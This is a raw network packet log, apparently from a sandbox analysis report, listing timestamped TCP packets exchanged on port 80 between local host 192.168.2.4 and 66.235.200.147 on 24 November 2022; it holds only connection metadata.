Nov 24, 2022 13:27:50.180567026 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180579901 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.180613041 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180641890 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180661917 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.180670023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180699110 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180715084 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.180727959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180757046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180773020 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.180785894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180814981 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.180831909 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.181324005 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.181354046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.181381941 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.186845064 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.186889887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.186908960 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.186945915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.186994076 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.186999083 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187025070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187067986 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187072039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187150955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187192917 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187211037 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187274933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187324047 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187351942 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187397003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187424898 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187448025 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187453032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187483072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187498093 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187510967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187537909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187557936 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187566042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187598944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187616110 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187642097 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187669992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187684059 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187697887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187725067 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187738895 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187752962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187781096 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187793970 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187808990 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187838078 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187858105 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187865973 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187895060 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187915087 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187922955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187952042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.187967062 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.187979937 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188009024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188044071 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188082933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188131094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188136101 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188206911 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188257933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188257933 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188304901 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188333988 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188363075 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188364029 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188391924 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188421011 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188430071 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188450098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188477993 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188487053 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188505888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188529968 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188535929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188565016 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188592911 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188595057 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188621044 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188649893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188651085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188679934 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188704967 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188707113 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188736916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188757896 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188766003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188807011 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188817978 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.188837051 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188867092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.188884020 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189038038 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189100981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189151049 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189210892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189239979 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189260960 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189273119 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189302921 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189320087 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189332962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189362049 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189378977 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189392090 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189421892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189452887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189455986 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189481974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189497948 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189513922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189543962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189560890 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189574003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189604044 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189626932 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189634085 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189663887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189685106 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189694881 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189723969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.189747095 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.189990044 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.190045118 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.190046072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.190078974 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.190107107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.190128088 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.190135956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.190165997 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.190195084 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.190195084 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.190226078 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.190241098 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.194562912 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.194641113 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.194648981 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.194680929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.194710016 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.194734097 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.194740057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.194771051 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.194801092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.194837093 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.194848061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.194859982 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.194911003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.194999933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195036888 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.195040941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195075989 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195101976 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.195116043 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195148945 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195162058 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.195185900 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195225954 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195257902 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.195266008 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195302010 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195313931 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.195341110 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195373058 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195393085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.195411921 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195442915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195461035 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.195482016 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195512056 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195529938 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.195550919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195578098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.195600033 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.205986977 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206047058 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206082106 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206100941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206118107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206144094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206163883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206187010 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206186056 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206218958 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206238031 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206244946 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206258059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206264019 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206278086 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206298113 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206315994 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206316948 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206346035 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206353903 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206365108 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206383944 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206403971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206420898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206422091 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206442118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206459045 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206459045 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206480980 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206491947 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206501961 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206509113 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206523895 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206559896 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206574917 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206577063 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206597090 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206624031 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206636906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206669092 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206703901 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206736088 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206765890 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206767082 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206787109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206813097 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206816912 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206840038 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206860065 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206868887 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206911087 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206935883 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206940889 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.206963062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206985950 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.206989050 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207009077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207030058 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207032919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207061052 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207078934 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207089901 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207118034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207144976 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207148075 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207175016 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207195997 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207201004 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207223892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207246065 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207252026 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207285881 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207298040 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207312107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207361937 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207595110 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207617998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207643986 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207683086 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207739115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207792997 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207792997 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207834005 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207874060 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207880974 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207896948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207920074 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.207952023 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.207973003 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208002090 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208029985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208039999 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208059072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208076954 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208087921 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208112955 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208132029 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208134890 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208170891 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208188057 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208194971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208221912 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208264112 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208270073 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208314896 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208339930 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208343029 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208400965 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208403111 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208450079 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208487034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208522081 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208523989 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208566904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208580017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208597898 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208626032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208650112 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208655119 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208686113 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208703995 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208710909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208735943 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208759069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208761930 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208781958 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208803892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208807945 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208831072 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208853960 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208862066 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208889961 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208918095 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208919048 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208946943 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.208971024 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.208976030 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209001064 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209024906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209028006 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209048986 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209080935 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209081888 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209110022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209140062 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209148884 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209192991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209208965 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209225893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209287882 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209290028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209331036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209362984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209388018 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209400892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209456921 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.209464073 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.209491968 CET	80	49701	66.235.200.147	192.168.2.4
